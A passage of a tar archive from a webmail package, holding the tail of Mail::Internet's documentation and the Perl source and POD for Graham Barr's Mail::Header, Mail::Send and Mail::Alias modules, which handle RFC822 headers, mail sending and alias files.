Returns the message as a string in mbox format.  C<ALREADY_ESCAPED>, if
given and true, indicates that ->escape_from has already been called on
this object.

=item head ()

Returns the C<Mail::Header> object which holds the headers for the current
message

=back

=head1 UTILITY METHODS

The following methods are more a utility type than a manipulation
type of method.

=over 4

=item remove_sig ( [ NLINES ] )

Attempts to remove a users signature from the body of a message. It does this 
by looking for a line equal to C<'-- '> within the last C<NLINES> of the
message. If found then that line and all lines after it will be removed. If
C<NLINES> is not given a default value of 10 will be used. This would be of
most use in auto-reply scripts.

=item tidy_body ()

Removes all leading and trailing lines from the body that only contain
white spaces.

=item reply ()

Create a new object with header initialised for a reply to the current 
object. And the body will be a copy of the current message indented.

=item add_signature ( [ FILE ] )

Append a signature to the message. C<FILE> is a file which contains
the signature, if not given then the file "$ENV{HOME}/.signature"
will be checked for.

=item send ( [ type [ args.. ]] )

Send a Mail::Internet message using Mail::Mailer.  Type and args are
passed on to C<Mail::Mailer>

=item smtpsend ( [ OPTIONS ] )

Send a Mail::Internet message via SMTP, requires Net::SMTP

The return value will be a list of email addresses that the message was sent
to. If the message was not sent the list will be empty.

Options are passed as key-value pairs. Current options are

=over 4

=item Host

Name of the SMTP server to connect to, or a Net::SMTP object to use

If C<Host> is not given then the SMTP host is found by attempting
connections first to hosts specified in C<$ENV{SMTPHOSTS}>, a colon
separated list, then C<mailhost> and C<localhost>.

=item To

=item Cc

=item Bcc

Send the email to the given addresses, each can be either a string or
a reference to a list of email addresses. If none of C<To>, <Cc> or C<Bcc>
are given then the addresses are extracted from the message being sent.

=item Hello

Send a HELO (or EHLO) command to the server with the given name.

=back

=item nntppost ( [ OPTIONS ] )

Post an article via NNTP, requires Net::NNTP.

Options are passed as key-value pairs. Current options are

=over 4

=item Host

Name of NNTP server to connect to, or a Net::NNTP object to use.

=item Port

Port number to connect to on remote host

=item Debug

Debug value to pass to Net::NNTP, see <Net::NNTP>

=back

=item escape_from ()

It can cause problems with some applications if a message contains a line
starting with C<`From '>, in particular when attempting to split a folder.
This method inserts a leading C<`>'> on anyline that matches the regular
expression C</^>*From/>

=item unescape_from ()

This method will remove the escaping added by escape_from

=back

=head1 SEE ALSO

L<Mail::Header>
L<Mail::Address>

=head1 AUTHOR

Graham Barr <gbarr@pobox.com>

=head1 COPYRIGHT

Copyright (c) 1995-7 Graham Barr. All rights reserved. This program is free
software; you can redistribute it and/or modify it under the same terms
as Perl itself.

=cut


wm357/Mail/Header.pm100755    312    144       47323  7070136474  13425 0ustar  webmailusers# Mail::Header.pm
#
# Copyright (c) 1995-7 Graham Barr <gbarr@pobox.com>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

#
# The internals of this package are implemented in terms of a list of lines
# and a hash indexed by the tags. The hash contains a list of references to
# the actual SV's in the list. We therefore do our upmost to preserve this.
# anyone who delves into these structures deserve all they get.
#

package Mail::Header;

require 5.002;

use strict;
use Carp;
use vars qw($VERSION $FIELD_NAME);

$VERSION = "1.17";

my $MAIL_FROM = 'KEEP';
my %HDR_LENGTHS = ();

#
# Pattern to match a RFC822 Field name ( Extract from RFC #822)
#
#     field       =  field-name ":" [ field-body ] CRLF
#
#     field-name  =  1*<any CHAR, excluding CTLs, SPACE, and ":">
#
#     CHAR        =  <any ASCII character>        ; (  0-177,  0.-127.)
#     CTL         =  <any ASCII control           ; (  0- 37,  0.- 31.)
#		      character and DEL>          ; (    177,     127.)
# I have included the trailing ':' in the field-name
#
$FIELD_NAME = '[^\x00-\x1f\x7f-\xff :]+:';

##
## Private functions
##

sub _error { warn @_; return (wantarray ? () : undef) }

# tidy up internal hash table and list

sub _tidy_header
{
 my $me = shift;
 my($ref,$key);
 my $i;
 my $d = 0;

 for($i = 0 ; $i < scalar(@{$me->{'mail_hdr_list'}}) ; $i++)
  {
   unless(defined $me->{'mail_hdr_list'}[$i])
    {
     splice(@{$me->{'mail_hdr_list'}},$i,1);
     $d++;
     $i--;
    }
  }

 if($d)
  {
   local $_;
   my @del = ();

   while(($key,$ref) = each %{$me->{'mail_hdr_hash'}} )
    {
     push(@del, $key)
	unless @$ref = grep { ref($_) && defined $$_ } @$ref;
    }

   map { delete $me->{'mail_hdr_hash'}{$_} } @del;
  }
}

# fold the line to the given length

sub _fold_line
{
 my($ln,$maxlen) = @_;

 return if $_[0] =~ /^X-Face:/io;

 $maxlen = 20
    if($maxlen < 20);

 my $max = int($maxlen - 5);         # 4 for leading spcs + 1 for [\,\;]
 my $min = int($maxlen * 4 / 5) - 4;
 my $ml = $maxlen;

 $_[0] =~ s/\s*[\r\n]+\s*/ /og; # Compress any white space around a newline
 $_[0] =~ s/\s*\Z/\n/so;        # End line with a EOLN

 return if $_[0] =~ /^From\s/io;

 if(length($_[0]) > $ml)
  {
   #Split the line up
   # first bias towards splitting at a , or a ; >4/5 along the line
   # next split a whitespace
   # else we are looking at a single word and probably don't want to split
   my $x = "";
   $x .= $2 . "\n    "
	while($_[0] =~ s/^(\s*(
			    [^"]{$min,$max}?[\,\;]
			   |[^"]{1,$max}[\s\n]
			   |[^\s"]+[\s\n]
			   |([^\s"]+("[^"]*")?)+[\s\n]
			  ))
			//x);
   $x .= $_[0];
   $_[0] = $x;
   $_[0] =~ s/(\A\s+|[\t ]+\Z)//sog;
   $_[0] =~ s/\s+\n/\n/sog;
  }

 $_[0] =~ s/\A(\S+)\n\s*(?=\S)/$1 /so; 
}

# attempt to change the case of a tag to that required by RFC822. That
# being all characters are lowercase except the first of each word. Also
# if the word is an `acronym' then all characters are uppercase. We decide
# a word is an acronym if it does not contain a vowel.

sub _tag_case
{
 my $tag = shift;

 $tag =~ s/:\Z//o;

 # Change the case of the tag
 # eq Message-Id
 $tag =~ s/\b([a-z]+)/\L\u$1/gio;
 $tag =~ s/\b([b-df-hj-np-tv-z]+)\b/\U$1/gio
	if $tag =~ /-/;

 $tag;
}

# format a complete line
#  ensure line starts with the given tag
#  ensure tag is correct case
#  change the 'From ' tag as required
#  fold the line

sub _fmt_line
{
 my $me = shift;
 my $tag = shift;
 my $line = shift;
 my $modify = shift || $me->{'mail_hdr_modify'};
 my $ctag = undef;

 ($tag) = $line =~ /\A($FIELD_NAME|From )/oi
    unless(defined $tag);

 if($tag =~ /\AFrom /io && $me->{'mail_hdr_mail_from'} ne 'KEEP')
  {
   if ($me->{'mail_hdr_mail_from'} eq 'COERCE')
    {
     $line =~ s/^From /Mail-From: /o;
     $tag = "Mail-From:";
    }
   elsif ($me->{'mail_hdr_mail_from'} eq 'IGNORE')
    {
     return ();
    }
   elsif ($me->{'mail_hdr_mail_from'} eq 'ERROR')
    {
     return _error "unadorned 'From ' ignored: <$line>"
    }
  }

 if(defined $tag)
  {
   $tag = _tag_case($ctag = $tag);

   $ctag = $tag
   	if($modify);

   $ctag =~ s/([^ :])\Z/$1:/o if defined $ctag;
  }

 croak( "Bad RFC822 field name '$tag'\n")
   unless(defined $ctag && $ctag =~ /\A($FIELD_NAME|From )/oi);

 # Ensure the line starts with tag
 if(defined($ctag) && ($modify || $line !~ /\A\Q$ctag\E/i))
  {
   my $xtag;
   ($xtag = $ctag) =~ s/\s*\Z//o;
   $line =~ s/\A(\Q$ctag\E)?\s*/$xtag /i;
  }

 my $maxlen = $me->{'mail_hdr_lengths'}{$tag}
		|| $HDR_LENGTHS{$tag}
		|| $me->fold_length;

 _fold_line($line,$maxlen)
    if $modify && defined $maxlen;

 $line =~ s/\n*\Z/\n/so;

 ($tag, $line);
}

sub _insert
{
 my($me,$tag,$line,$where) = @_;

 if($where < 0)
  {
   $where = scalar(@{$me->{'mail_hdr_list'}}) + $where + 1;

   $where = 0
	if($where < 0);
  }
 elsif($where >= scalar(@{$me->{'mail_hdr_list'}}))
  {
   $where = scalar(@{$me->{'mail_hdr_list'}});
  }

 my $atend = $where == scalar(@{$me->{'mail_hdr_list'}});

 splice(@{$me->{'mail_hdr_list'}},$where,0,$line);

 $me->{'mail_hdr_hash'}{$tag} ||= [];
 my $ref = \${$me->{'mail_hdr_list'}}[$where];

 if(scalar($me->{'mail_hdr_hash'}{$tag}) && $where)
  {
   if($atend)
    {
     push(@{$me->{'mail_hdr_hash'}{$tag}}, $ref);
    }
   else
    {
     my($ln,$i,$ref);
     $i = 0;
     foreach $ln (@{$me->{'mail_hdr_list'}})
      {
       my $r = \$ln;
       last if($r == $ref);
       $i++ if($r == $me->{'mail_hdr_hash'}{$tag}[$i]);
      }
     splice(@{$me->{'mail_hdr_hash'}{$tag}},$i,0,$ref);
    }
  }
 else
  {
   unshift(@{$me->{'mail_hdr_hash'}{$tag}}, $ref);
  }
}

##
## Constructor
##

sub new
{
 my $self = shift;
 my $type = ref($self) || $self;
 my $arg = @_ % 2 ? shift : undef;
 my %arg = @_;

 $arg{Modify} = delete $arg{Reformat} unless exists $arg{Modify};

 my %hash = (
	mail_hdr_list     => [],
	mail_hdr_hash     => {},
	mail_hdr_modify   => delete $arg{Modify} || 0,
	mail_hdr_foldlen  => 79,
	mail_hdr_lengths  => {}
	);

 my $me = bless \%hash, $type;

 $me->mail_from( uc($arg{'MailFrom'} || $MAIL_FROM) );

 $me->fold_length($arg{FoldLength})
    if exists $arg{FoldLength};

 if(ref $arg)
  {
   if(ref($arg) eq 'ARRAY')
    {
     $me->extract([ @{$arg} ]);
    }
   elsif(defined fileno($arg))
    {
     $me->read($arg);
    }
  }

 $me;
}

sub modify
{
 my $me = shift;
 my $old = $me->{'mail_hdr_modify'};

 $me->{'mail_hdr_modify'} = 0 + shift
	if @_;

 $old;
}

sub mail_from
{
 my $me = shift;
 my $choice = uc(shift);

 $choice =~ /^(IGNORE|ERROR|COERCE|KEEP)$/ 
	or die "bad Mail-From choice: '$choice'";

 if(ref($me))
  {
   $me->{'mail_hdr_mail_from'} = $choice;
  }
 else
  {
   $MAIL_FROM = $choice;
  }

 $me;
}

sub fold
{
 my $me = shift;
 my $maxlen = shift;
 my($tag,$list,$ln);

 while(($tag,$list) = each %{$me->{'mail_hdr_hash'}})
  {
   my $len = $maxlen
		|| $me->{'mail_hdr_lengths'}{$tag}
		|| $HDR_LENGTHS{$tag}
		|| $me->fold_length;

   foreach $ln (@$list)
    {
     _fold_line($$ln,$len)
        if defined $ln;
    }
  }

 $me;
}

sub unfold
{
 my $me = shift;
 my($tag,$list,$ln);

 if(@_)
  {
   $tag = _tag_case(shift);
   return $me unless exists $me->{'mail_hdr_hash'}{$tag};
   $list = $me->{'mail_hdr_hash'}{$tag};
   foreach $ln (@$list)
    {
     $$ln =~ s/\r?\n\s+/ /sog
	if defined $ln && defined $$ln;
    }
  }
 else
  {
   while(($tag,$list) = each %{$me->{'mail_hdr_hash'}})
    {
     foreach $ln (@$list)
      {
       $$ln =~ s/\r?\n\s+/ /sog
	if defined $ln && defined $$ln;
      }
    }
  }
 $me;
}

sub extract
{
 my $me = shift;
 my $arr = shift;
 my $line;

 $me->empty;

 while(scalar(@{$arr}) && $arr->[0] =~ /\A($FIELD_NAME|From )/o)
  {
   my $tag = $1;

   $line = shift @{$arr};
   $line .= shift @{$arr}
       while(scalar(@{$arr}) && $arr->[0] =~ /\A[ \t]+/o);

   ($tag,$line) = _fmt_line($me,$tag,$line);

   _insert($me,$tag,$line,-1)
      if defined $line;
  }

 shift @{$arr}
  if(scalar(@{$arr}) && $arr->[0] =~ /\A\s*\Z/o);

 $me;
}

sub read
{
 my $me = shift;
 my $fd = shift;

 $me->empty;

 my $line = undef;
 my $ln = "";
 my $tag = undef;

 while(1)
  {
   $ln = <$fd>;

   if(defined $ln && defined $line && $ln =~ /\A[ \t]+/o)
    {
     $line .= $ln;
     next;
    }

   if(defined $line)
    {
     ($tag,$line) = _fmt_line($me,$tag,$line);
      _insert($me,$tag,$line,-1)
	if defined $line;
    }

   last
     unless(defined $ln && $ln =~ /\A($FIELD_NAME|From )/o);

   $tag  = $1;
   $line = $ln;
  }

 $me;
}

sub empty
{
 my $me = shift;

 $me->{'mail_hdr_list'} = [];
 $me->{'mail_hdr_hash'} = {};

 $me;
}

sub header
{
 my $me = shift;

 $me->extract(@_)
	if(@_);

 $me->fold
    if $me->{'mail_hdr_modify'};

 # Must protect ourself against corruption as the hash contains refs to the
 # SV's in the list, if the user modifies this list we are really screwed :-

 [ @{$me->{'mail_hdr_list'}} ];
}

# Return/set headers by hash reference.  This can probably be
# optimized. I didn't want to mess much around with the internal
# implementation as for now...
# -- Tobias Brox <tobix@cpan.org>

sub header_hashref {
 my $me = shift;
 my $hashref = shift;

 # Extract the input data
 for my $hdrkey (keys %$hashref) {
   for (ref $hashref->{$hdrkey} 
	? @{$hashref->{$hdrkey}} 
	: $hashref->{$hdrkey}) {
     $me->add($hdrkey, $_);
   }
 }

 $me->fold
    if $me->{'mail_hdr_modify'};

 # Build a hash
 my $hash={ map { $_ => [ $me->get($_) ] } keys %{$me->{'mail_hdr_hash'}} }; 

 return $hash;
}

sub add
{
 my $me = shift;
 my($tag,$text,$where) = @_;
 my $line;
 ($tag,$line) = _fmt_line($me,$tag,$text);

 # Must have a tag and text to add
 return undef
	unless(defined $tag && defined $line);

 $where = -1
	unless defined $where;

 _insert($me,$tag,$line,$where);

 $line =~ /^\S+\s(.*)/os;
 return $1;
}

sub replace
{
 my $me = shift;
 my $idx = 0;
 my($tag,$line);

 $idx = pop @_
    if(@_ % 2);

TAG:
 while(@_)
  {
   ($tag,$line) = _fmt_line($me,splice(@_,0,2));

   return undef
        unless(defined $tag && defined $line);

   if(exists $me->{'mail_hdr_hash'}{$tag} &&
      defined $me->{'mail_hdr_hash'}{$tag}[$idx])
    {
     ${$me->{'mail_hdr_hash'}{$tag}[$idx]} = $line;
    }
   else
    {
     _insert($me,$tag,$line,-1);
    }
  }

 $line =~ /^\S+\s*(.*)/os;
 return $1;
}

sub combine
{
 my $me  = shift;
 my $tag = _tag_case(shift);
 my $with = shift || ' ';
 my $line;

 return _error "unadorned 'From ' ignored"
	if($tag =~ /^From /io && $me->{'mail_hdr_mail_from'} ne 'KEEP');

 return undef
    unless exists $me->{'mail_hdr_hash'}{$tag};

 if(scalar(@{$me->{'mail_hdr_hash'}{$tag}}) > 1)
  {
   my @lines = $me->get($tag);

   chomp(@lines);

   map { $$_ = undef } @{$me->{'mail_hdr_hash'}{$tag}};

   $line = ${$me->{'mail_hdr_hash'}{$tag}[0]} = 
        (_fmt_line($me,$tag, join($with,@lines),1))[1];

   _tidy_header($me);
  }
 else
  {
   return $me->{'mail_hdr_hash'}{$tag}[0];
  }

 return $line;		# post-match
}

sub get
{
 my $me = shift;
 my $tag = _tag_case(shift);
 my $idx = shift;

 return wantarray ? () : undef
    unless exists $me->{'mail_hdr_hash'}{$tag};

 my $l = length($tag);
 $l += 1 unless $tag =~ / \Z/o;

 $idx = 0
    unless defined $idx || wantarray;

 if(defined $idx)
  { 
   return defined $me->{'mail_hdr_hash'}{$tag}[$idx]
        ?  eval { # why won't do work here ??
	       my $tmp = substr(${$me->{'mail_hdr_hash'}{$tag}[$idx]}, $l);
	      $tmp =~ s/^\s+//;
	      $tmp;
	  }
        : undef;
  }

 return  map {
		my $tmp = substr($$_,$l);
		$tmp =~ s/^\s+//;
		$tmp
	     } @{$me->{'mail_hdr_hash'}{$tag}};
}

sub count
{
 my $me = shift;
 my $tag = _tag_case(shift);

 exists $me->{'mail_hdr_hash'}{$tag}
	? scalar(@{$me->{'mail_hdr_hash'}{$tag}})
	: 0;
}

sub exists
{
 carp "Depriciated use of Mail::Header::exists, use count" if $^W;
 count(@_);
}

sub delete
{
 my $me  = shift;
 my $tag = _tag_case(shift);
 my $idx = shift;
 my @val = ();

 if(defined $me->{'mail_hdr_hash'}{$tag})
  {
   my $l = length($tag);
   $l += 2 unless $tag =~ / \Z/o;

   if(defined $idx)
    {
     if(defined $me->{'mail_hdr_hash'}{$tag}[$idx])
      {
       push(@val, substr(${$me->{'mail_hdr_hash'}{$tag}[$idx]},$l));
       undef ${$me->{'mail_hdr_hash'}{$tag}[$idx]};
      }
    }
   else
    {
     local $_;
     @val = map {
                 my $x = substr($$_,$l);
                 undef $$_;
                 $x
                } @{$me->{'mail_hdr_hash'}{$tag}};
    }

   _tidy_header($me);
  }

 return @val;
}

sub print
{
 my $me = shift;
 my $fd = shift || \*STDOUT;
 my $ln;

 foreach $ln (@{$me->{'mail_hdr_list'}})
  {
   next
    unless defined $ln;
   print $fd $ln or
    return 0;
  }

 1;
}

sub as_string
{
 my $me = shift;

 join('', grep { defined } @{$me->{'mail_hdr_list'}});
}

sub fold_length
{
 my $me  = shift;
 my $old;

 if(@_ == 2)
  {
   my($tag,$len) = @_;

   my $hash = ref($me) ? $me->{'mail_hdr_lengths'} : \%HDR_LENGTHS;

   $tag = _tag_case($tag);

   $old = $hash->{$tag} || undef;
   $hash->{$tag} = $len > 20 ? $len : 20;
  }
 else
  {
   my $len = shift;

   $old = $me->{'mail_hdr_foldlen'};

   if(defined $len)
    {
     $me->{'mail_hdr_foldlen'} = $len > 20 ? $len : 20;
     $me->fold;
    }
  }

 $old;
}

sub tags
{
 my $me = shift;

 keys %{$me->{'mail_hdr_hash'}};
}

sub dup
{
 my $me = shift;
 my $type = ref($me) || croak "Cannot dup without an object";
 my $dup = new $type;

 %$dup = %$me;
 $dup->empty;

 $dup->{'mail_hdr_list'} = [ @{$me->{'mail_hdr_list'}} ];

 my $ln;
 foreach $ln ( @{$dup->{'mail_hdr_list'}} )
  {
   my $tag = _tag_case(($ln =~ /\A($FIELD_NAME|From )/oi)[0]);

   $dup->{'mail_hdr_hash'}{$tag} ||= [];
   push(@{$dup->{'mail_hdr_hash'}{$tag}}, \$ln);
  }

 $dup;
}

sub cleanup
{
 my $me = shift;
 my $d = 0;
 my $key;

 foreach $key (@_ ? @_ : keys %{$me->{'mail_hdr_hash'}})
  {
   my $arr = $me->{'mail_hdr_hash'}{$key};
   my $ref;
   foreach $ref (@$arr)
    {
     unless($$ref =~ /\A\S+\s+\S/soi)
      {
       $$ref = undef;
       $d++;
      }
    }
  }

 _tidy_header($me)
	if $d;

 $me;  
}

1; # keep require happy


=head1 NAME

Mail::Header - manipulate mail RFC822 compliant headers

=head1 SYNOPSIS

    use Mail::Header;
    
    $head = new Mail::Header;
    $head = new Mail::Header \*STDIN;
    $head = new Mail::Header [<>], Modify => 0;

=head1 DESCRIPTION

This package provides a class object which can be used for reading, creating,
manipulating and writing RFC822 compliant headers.

=head1 CONSTRUCTOR

=over 4

=item new ( [ ARG ], [ OPTIONS ] )

C<ARG> may be either a file descriptor (reference to a GLOB)
or a reference to an array. If given the new object will be
initialized with headers either from the array of read from 
the file descriptor.

C<OPTIONS> is a list of options given in the form of key-value
pairs, just like a hash table. Valid options are

=over 8

=item B<Modify>

If this value is I<true> then the headers will be re-formatted,
otherwise the format of the header lines will remain unchanged.

=item B<MailFrom>

This option specifies what to do when a header in the form `From '
is encountered. Valid values are C<IGNORE> - ignore and discard the header,
C<ERROR> - invoke an error (call die), C<COERCE> - rename them as Mail-From
and C<KEEP> - keep them.

=item B<FoldLength>

The default length of line to be used when folding header lines

=back

=back

=head1 METHODS

=over 4

=item modify ( [ VALUE ] )

If C<VALUE> is I<false> then C<Mail::Header> will not do any automatic
reformatting of the headers, other than to ensure that the line
starts with the tags given.

=item mail_from ( OPTION )

C<OPTION> specifies what to do when a C<`From '> line is encountered.
Valid values are C<IGNORE> - ignore and discard the header,
C<ERROR> - invoke an error (call die), C<COERCE> - rename them as Mail-From
and C<KEEP> - keep them.

=item fold ( [ LENGTH ] )

Fold the header. If C<LENGTH> is not given then C<Mail::Header> uses the
following rules to determine what length to fold a line.

The fold length for the tag that is begin processed

The default fold length for the tag that is being processed

The default fold length for the object

=item extract ( ARRAY_REF )

Extract a header from the given array. C<extract> B<will modify> this array.
Returns the object that the method was called on.

=item read ( FD )

Read a header from the given file descriptor.

=item empty ()

Empty the C<Mail::Header> object of all lines.

=item header ( [ ARRAY_REF ] )

C<header> does multiple operations. First it will extract a header from
the array, if given. It will the reformat the header, if reformatting
is permitted, and finally return a reference to an array which
contains the header in a printable form.

=item header_hashref ( [ HASH_REF ] )

As C<header>, but it will eventually set headers from a hash
reference, and it will return the headers as a hash reference.

The values in the hash might either be a scalar or an array reference,
as an example:

    $hashref->{From}='Tobias Brox <tobix@cpan.org>';
    $hashref->{To}=['you@somewhere', 'me@localhost'];

=item add ( TAG, LINE [, INDEX ] )

Add a new line to the header. If C<TAG> is I<undef> the the tag will be
extracted from the beginning of the given line. If C<INDEX> is given
the new line will be inserted into the header at the given point, otherwise
the new line will be appended to the end of the header.

=item replace ( TAG, LINE [, INDEX ] )

Replace a line in the header.  If C<TAG> is I<undef> the the tag will be
extracted from the beginning of the given line. If C<INDEX> is given
the new line will replace the Nth instance of that tag, otherwise the
first instance of the tag is replaced. If the tag does not appear in the
header then a new line will be appended to the header.

=item combine ( TAG [, WITH ] )

Combine all instances of C<TAG> into one. The lines will be
joined togther with C<WITH>, or a single space if not given. The new
item will be positioned in the header where the first instance was, all
other instances of <TAG> will be removed.

=item get ( TAG [, INDEX ] )

Get the text form a line. If C<INDEX> is given then the text of the Nth
instance will be returned. If it is not given the return value depends on the
context in which C<get> was called. In an array context a list of all the
text from all the instances of C<TAG> will be returned. In a scalar context
the text for the first instance will be returned.

=item delete ( TAG [, INDEX ] )

Delete a tag from the header. If C<INDEX> id given then the Nth instance
of the tag will be removed. If C<INDEX> is not given all instances
of tag will be removed.

=item count ( TAG )

Returns the number of times the given atg appears in the header

=item print ( [ FD ] )

Print the header to the given file descriptor, or C<STDOUT> if no
file descriptor is given.

=item as_string ()

Returns the header as a single string.

=item fold_length ( [ TAG ], [ LENGTH ] )

Set the default fold length for all tags or just one. With no arguments
the default fold length is returned. With two arguments it sets the fold
length for the given tag and returns the previous value. If only C<LENGTH>
is given it sets the default fold length for the current object.

In the two argument form C<fold_length> may be called as a static method,
setting default fold lengths for tags that will be used by B<all>
C<Mail::Header> objects. See the C<fold> method for
a description on how C<Mail::Header> uses these values.

=item tags ()

Retruns an array of all the tags that exist in the header. Each tag will
only appear in the list once. The order of the tags is not specified.

=item dup ()

Create a duplicate of the current object.

=item cleanup ()

Remove any header line that, other than the tag, only contains whitespace

=item unfold ( [ TAG ] )

Unfold all instances of the given tag so that they do not spread across
multiple lines. IF C<TAG> is not given then all lines are unfolded.

=back

=head1 AUTHOR

Graham Barr <gbarr@pobox.com>

=head1 COPYRIGHT

Copyright (c) 1995-7 Graham Barr. All rights reserved. This program is free
software; you can redistribute it and/or modify it under the same terms
as Perl itself.

=cut
wm357/Mail/Send.pm100755    312    144        4121  7070227017  13065 0ustar  webmailusers
package Mail::Send;

# $Id: //depot/MailTools/Mail/Send.pm#6 $

use strict;
use Carp;
use vars qw($VERSION);
require Mail::Mailer;

$VERSION = "1.09";

sub Version { $VERSION }

sub new {
    my $pkg = shift;
    my %attr = @_;
    my($key, $value);
    my $me = bless {}, $pkg;
    while( ($key, $value) = each %attr ) {
	$key = lc($key);
	$me->$key($value);
    }
    $me;
}

sub set {
    my($me, $hdr, @values) = @_;
    $me->{$hdr} = [ @values ] if @values;
    @{$me->{$hdr} || []};	# return new (or original) values
}

sub add {
    my($me, $hdr, @values) = @_;
    $me->{$hdr} = [] unless $me->{$hdr};
    push(@{$me->{$hdr}}, @values);
}

sub delete {
    my($me, $hdr) = @_;
    delete $me->{$hdr};
}

sub to		{ my $me=shift; $me->set('To', @_); }
sub cc		{ my $me=shift; $me->set('Cc', @_); }
sub bcc		{ my $me=shift; $me->set('Bcc', @_); }
sub subject	{ my $me=shift; $me->set('Subject', join (' ', @_)); }


sub open {
    my $me = shift;
    Mail::Mailer->new(@_)->open($me);
}

1;

__END__

=head1 NAME

Mail::Send - Simple electronic mail interface

=head1 SYNOPSIS

    require Mail::Send;

    $msg = new Mail::Send;

    $msg = new Mail::Send Subject=>'example subject', To=>'timbo';

    $msg->to('user@host');
    $msg->subject('example subject');
    $msg->cc('user@host');
    $msg->bcc('someone@else');

    $msg->set($header, @values);
    $msg->add($header, @values);
    $msg->delete($header);

    # Launch mailer and set headers. The filehandle returned
    # by open() is an instance of the Mail::Mailer class.

    $fh = $msg->open;

    print $fh "Body of message";

    $fh->close;         # complete the message and send it

    $fh->cancel;        # not yet implemented

=head1 DESCRIPTION

=head1 SEE ALSO

Mail::Mailer

=head1 AUTHORS

Maintained by Graham Barr E<lt>F<gbarr@pobox.com>E<gt>

Original code written by Tim Bunce E<lt>F<Tim.Bunce@ig.co.uk>E<gt>,
with a kick start from Graham Barr E<lt>F<gbarr@pobox.com>E<gt>. With
contributions by Gerard Hickey E<lt>F<hickey@ctron.com>E<gt>

For support please contact comp.lang.perl.misc or Graham Barr
E<lt>F<gbarr@pobox.com>E<gt>

=cut


wm357/Mail/Alias.pm100755    312    144       10355  6700452166  13257 0ustar  webmailusers# Mail::Alias.pm
#
# Copyright (c) 1995-7 Graham Barr <gbarr@pobox.com>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.


package Mail::Alias;

=head1 NAME

Mail::Alias - maniulate mail alias files of various formats

=head1 SYNOPSIS

    use Mail::Alias;

=head1 DESCRIPTION

C<Mail::Alias> can read various formats of mail alias. Once an object has been
created it can be used to expand aliases and output in another format.

B<NOTE: This package is unfinished>

=head1 CONSTRUCTOR

=over 4

=item new ()

=back

=head1 METHODS

=over 4

=item read ()

=item write ()

=item format ()

=item exists ()

=item expand ()

=back

=head1 AUTHOR

Graham Barr <gbarr@pobox.com>

=head1 COPYRIGHT

Copyright (c) 1995-7 Graham Barr. All rights reserved. This program is free
software; you can redistribute it and/or modify it under the same terms
as Perl itself.

=cut

use Carp;
use vars qw($VERSION);

$VERSION = do { my @r=(q$Revision: 1.6 $=~/\d+/g); sprintf "%d."."%02d"x$#r,@r};
sub Version { $VERSION }

sub new {
 my $pkg = shift;

 my $me = bless {}, $pkg;

 $me->read(@_) if(@_);

 $me;
}

sub format {
 my $me = shift;
 my $fmt = shift;
 my $pkg = "Mail::Alias::" . $fmt;

 croak "Unknown format '$fmt'"
  unless defined @{$pkg . "::ISA"};

 bless $me, $pkg;
}

sub exists {
 my $me = shift;
 my $alias = shift;

 return defined $me->{$alias};
}

sub expand {
 my $me = shift;
 my @result = ();
 my %done = ();
 my $alias;
 my @todo = @_;

 while($alias = shift(@todo)) {
  next if(defined $done{$alias});
  $done{$alias} = 1;
  if(defined $me->{$alias}) {
   push(@todo,@{$me->{$alias}});
  }
  else {
   push(@result,$alias);
  }
 }
 wantarray ? @result : \@result;
}

package Mail::Alias::Ucbmail;

use vars qw(@ISA);

@ISA = qw(Mail::Alias::Binmail);

package Mail::Alias::Binmail;

use Carp;
use Mail::Address;

use vars qw(@ISA);

@ISA = qw(Mail::Alias);

sub read {
 my $me = shift;
 my $file = shift;

 local *ALIAS;
 local $_;
 open(ALIAS,$file) || croak "Cannot open $file: $!\n";

 while(<ALIAS>) {
  next unless(/^\s*(alias|group)\s+(\S+)\s+(.*)/);
  my($group,$who) = ($2,$3);

  $who =~ s/(\A[\s,]+|[\s,]+\Z)//g;

  my @resp = ();

  while(length($who)) {
#   $who =~ s/\A([^\"]\S*|\"[^\"]*\")\s*//;
#   my $ln = $1;
#   $ln =~ s/\A\s*\"|\"\s*\Z//g;     
 $who =~ s/\A\s*(\"?)([^\"]*)\1\s*//;
   push(@resp,$2);
#   push(@resp,$ln);
  }
  $me->{$group} = [ @resp ];
 }
 close(ALIAS);
}

sub write {
 my $me = shift;
 my $file = shift;
 my $alias;
 my $fd;
 local *ALIAS;

 if(ref($file)) {
  $fd = $file;
 }
 else {
  open(ALIAS,$file) || croak "Cannot open $file: $!\n";
  $fd = \*ALIAS;
 }

 foreach $alias (sort keys %$me) {
  my @a = @{$me->{$alias}};
  map { $_ = '"' . $_ . '"' if /\s/ } @a;
  print $fd "alias $alias ",join(" ",@a),"\n";
 }

 close(ALIAS) if($fd == \*ALIAS);
}

package Mail::Alias::Sendmail;

use Carp;
use Mail::Address;

use vars qw(@ISA);

@ISA = qw(Mail::Alias);

sub write {
 my $me = shift;
 my $file = shift;
 my $alias;
 my $fd;
 local *ALIAS;

 if(ref($file)) {
  $fd = $file;
 }
 else {
  open(ALIAS,$file) || croak "Cannot open $file: $!\n";
  $fd = \*ALIAS;
 }

 foreach $alias (sort keys %$me) {
  my $ln = $alias . ": " . join(", ",@{$me->{$alias}});
  $ln =~ s/(.{55,78},)/$1\n\t/g;
  print $fd $ln,"\n";
 }

 close(ALIAS) if($fd == \*ALIAS);
}

sub _include_file {
 my $file = shift;
 local *INC;
 my @ln;
 local $_;
 open(INC,$file) or carp "Cannot open file '$file'" and return "";
 @ln = grep(/^[^#]/,<INC>);
 close(INC);
 chomp(@ln);
 join(",",@ln);
}

sub read {
 my $me = shift;
 my $file = shift;

 local *ALIAS;
 local $_;
 open(ALIAS,$file) || croak "Cannot open $file: $!\n";

 my $group = undef;
 my $line = undef;

 while(<ALIAS>) {
  chomp;
  if(defined $line && /^\s/) {
   $line .= $_;
  }
  else {
   if(defined $line) {
    if($line =~ s/^([^:]+)://) {
     my @resp;
     $group = $1;
     $group =~ s/(\A\s+|\s+\Z)//g;
     $line =~ s/\"?:include:(\S+)\"?/_include_file($1)/eg;
     $line =~ s/(\A[\s,]+|[\s,]+\Z)//g;

     while(length($line)) {
      $line =~ s/\A([^\"][^ \t,]+|\"[^\"]+\")(\s*,\s*)*//;
      push(@resp,$1);
     }

     $me->{$group} = \@resp;
    }
    undef $line;
   }
   next if (/^#/ || /^\s*$/);
   $line = $_;
  }
 }
 close(ALIAS);
}

1;

